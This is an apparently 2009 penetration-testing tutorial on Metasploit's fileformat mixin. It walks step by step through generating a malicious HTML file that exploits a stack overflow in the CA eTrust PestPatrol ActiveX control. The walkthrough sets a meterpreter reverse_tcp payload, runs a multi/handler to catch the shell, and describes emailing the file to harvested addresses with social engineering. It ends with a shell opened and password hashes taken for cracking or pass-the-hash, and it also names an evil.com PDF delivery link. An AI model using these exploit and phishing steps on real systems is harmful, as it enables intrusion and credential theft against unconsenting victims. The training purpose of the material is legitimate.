Video: Client-Sides, Social Engineering and Metasploit, Oh My!

By Chris Gates, CISSP, GCIH, C|EH, CPTS

It should be obvious to everyone that the bad guys are moving away from network level attacks and moving toward social engineering coupled with client-side attacks. In fact, this is the focus of the next ChicagoCon in May, where I will be presenting this exact topic live. Penetration testers need to be able to help an organization detect and respond to client-side attacks, and what better way to do that than to do a little client side exploitation during your pentests.

A new mixin has been added to the Metasploit Framework that allows the penetration tester to create and output the files that contain the exploit code instead of just serving up the exploit on a web page. This increases the attack surface by allowing the pentester to perform their Open Source Intelligence (OSINT) gathering to collect email addresses for the target domain. We then take those addresses and actually send the exploit to the victim as an attachment in the email versus a link to a website. Your mileage may very on the effectiveness of that technique, but in my experience people seem to be more apt to open attachments of "normal" or "non-malicious" type like .pdf and .html rather than clicking on links. Some example formats that can be used with the fileformat mixin are .pdf, .html, .cab, .m3u, .xpm, as well as others.

**This isn't to say that some fileformat exploits can't be delivered via the web. You can easily link to www.evil.com/evil.pdf, but some lend themselves to easier exploitation if you can get the file into a user's inbox. So let's take a quick look at how this can be accomplished.

del.icio.us

Discuss in Forums {mos_smf_discuss:Gates}

Chris Gates is a Scheduled Speaker for the Spring ChicagoCon

The Ethical Hacking Conference is May 8 - 9, 2009

For our example we'll use a vulnerability in the ActiveX control for eTrust PestScan. Because this control is not marked safe for scripting, it wont run if a user browses to the page in the internet zone. But if they open a .html file that calls the vulnerable control we can execute code.

http://www.metasploit.com/users/mc/rand/etrust_pestscan.rb

From the description in the module:

"This module exploits a stack overflow in CA eTrust PestPatrol. When sending an overly long string to the Initialize() property of ppctl.dll (5.6.7.9) an attacker may be able to execute arbitrary code. This control is not marked safe for scripting, so choose your attack vector accordingly."

Example Time!

```
msf > use exploit/windows/fileformat/etrust_pestscan

msf exploit(etrust_pestscan) > info

Name: CA eTrust PestPatrol ActiveX Control Buffer Overflow

Version: $Revision:$

Platform: Windows

Privileged: No

License: Metasploit Framework License

Provided by:

MC
```

Available targets:

Id Name

-- ----

0 Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7

Basic options:

Name Current Setting Required Description

---- --- --- ---

FILENAME MSF no The file name.

Payload information:

Space: 1024

Avoid: 1 characters

Description:

This module exploits a stack overflow in CA eTrust PestPatrol. When sending an overly long string to the Initialize() property of ppctl.dll (5.6.7.9) an attacker may be able to execute arbitrary code. This control is not marked safe for scripting, so choose your attack vector accordingly.

References:

http://www.w00t-shell.net/#

http://www.my-etrust.com/Extern/RoadRunner/PestScan/scan.htm

msf exploit(etrust_pestscan) > show options

Module options:

Name Current Setting Required Description

---- --- --- ---

FILENAME MSF no The file name.

Exploit target:

Id Name

-- ----

0 Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7

msf exploit(etrust_pestscan) > set FILENAME DEMO.html

FILENAME => DEMO.html

msf exploit(etrust_pestscan) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(etrust_pestscan) > set LHOST 192.168.0.101

LHOST => 192.168.0.101

msf exploit(etrust_pestscan) > show options

Module options:

Name Current Setting Required Description

---- --- --- ---

FILENAME DEMO.html no The file name.

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --- --- ---

DLL /home/cg/evil/msf3/data/meterpreter/metsrv.dll yes The local path to the DLL to upload

EXITFUNC process yes Exit technique: seh, thread, process

LHOST 192.168.0.101 yes The local address

LPORT 4444 yes The local port

Exploit target:

Id Name

```
-- ----

0 Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7


msf exploit(etrust_pestscan) > exploit

[*] Started reverse handler

[*] Creating HTML file ...

[*] File is located in ./data/exploits/ ...

msf exploit(etrust_pestscan) >
```

Fileformat bugs are going to require you to run the multi/handler, so you can catch the return shells.

```
cg@attack:~/evil/msf3$ ./msfcli


Usage: ./msfcli [mode]

==================================================

Mode Description

---- -----------

(H)elp You're looking at it baby!

(S)ummary Show information about this module

(O)ptions Show available options for this module

(A)dvanced Show available advanced options for this module

(I)DS Evasion Show available ids evasion options for this module

(P)ayloads Show available payloads for this module

(T)argets Show available targets for this exploit module

(AC)tions Show available actions for this auxiliary module

(C)heck Run the check routine of the selected module

(E)xecute Execute the selected module


cg@attack:~/evil/msf3$ ./msfcli exploit/multi/handler

PAYLOAD=windows/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.0.101 E
```

[*] Started reverse handler

[*] Starting the payload handler...

Or ...

```
./msfconsole msf >msf > use exploit/multi/handlermsf exploithandle
r) > setExitOnSessionfalsemsf exploit(handler) > setPAYLOAD window
s/meterpreter/reverse_tcpmsf exploit(handler) > set LHOST 192.168.0
.101msf exploit(handler) > set LPORT 4444
```

*** This is where you or another member of your pen testing team would work their social engineering magic to get the client to open the html file.

[*] Transmitting intermediate stager for over-sized stage...(89 bytes)

[*] Sending stage (2650 bytes)

[*] Sleeping before handling stage...

[*] Uploading DLL (73227 bytes)...

[*] Upload completed.

[*] Meterpreter session 1 opened (192.168.0.101:4444 -> 192.168.0.103:4360)

meterpreter >

And now onto the video (another example of malicious pdfs in action) ...

Conclusion

With a combination of user interaction and the power of metasploit, we were able to grab password hashes. From here a jolt of 0phcrack, some rainbow tables, or pass the hash action and we're off to completing our network pen test goals. This is a perfect example of electronically assisted social engineering, and how it can be a very effective addition to your toolset.

Extra Resources

fileformat exploit videolan_tivo.rb metasploit backtrack http://vimeo.com/2419131 **hard to see